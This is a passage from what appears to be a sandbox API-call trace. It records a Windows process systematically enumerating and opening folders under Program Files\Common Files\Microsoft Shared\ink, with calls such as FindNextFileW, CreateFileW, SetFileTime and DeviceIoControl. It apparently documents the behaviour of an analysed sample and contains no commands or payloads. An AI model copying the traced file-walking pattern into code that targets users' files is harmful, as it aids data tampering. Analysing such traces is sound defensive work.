(HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0047.910] GetLastError () returned 0x12 [0047.910] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0047.910] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0047.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0047.937] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.937] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.938] NtClose (Handle=0x184) returned 0x0 [0047.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.938] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.938] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e4e8 [0047.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8eb80 [0047.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.938] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.938] GetLastError () returned 0x12 [0047.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.938] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.938] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.939] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.939] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.939] GetLastError () returned 0x12 [0047.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.939] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0047.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0047.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.939] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0047.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0047.939] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf90958 [0047.939] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.939] NtClose (Handle=0x188) returned 0x0 [0047.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.940] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.940] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 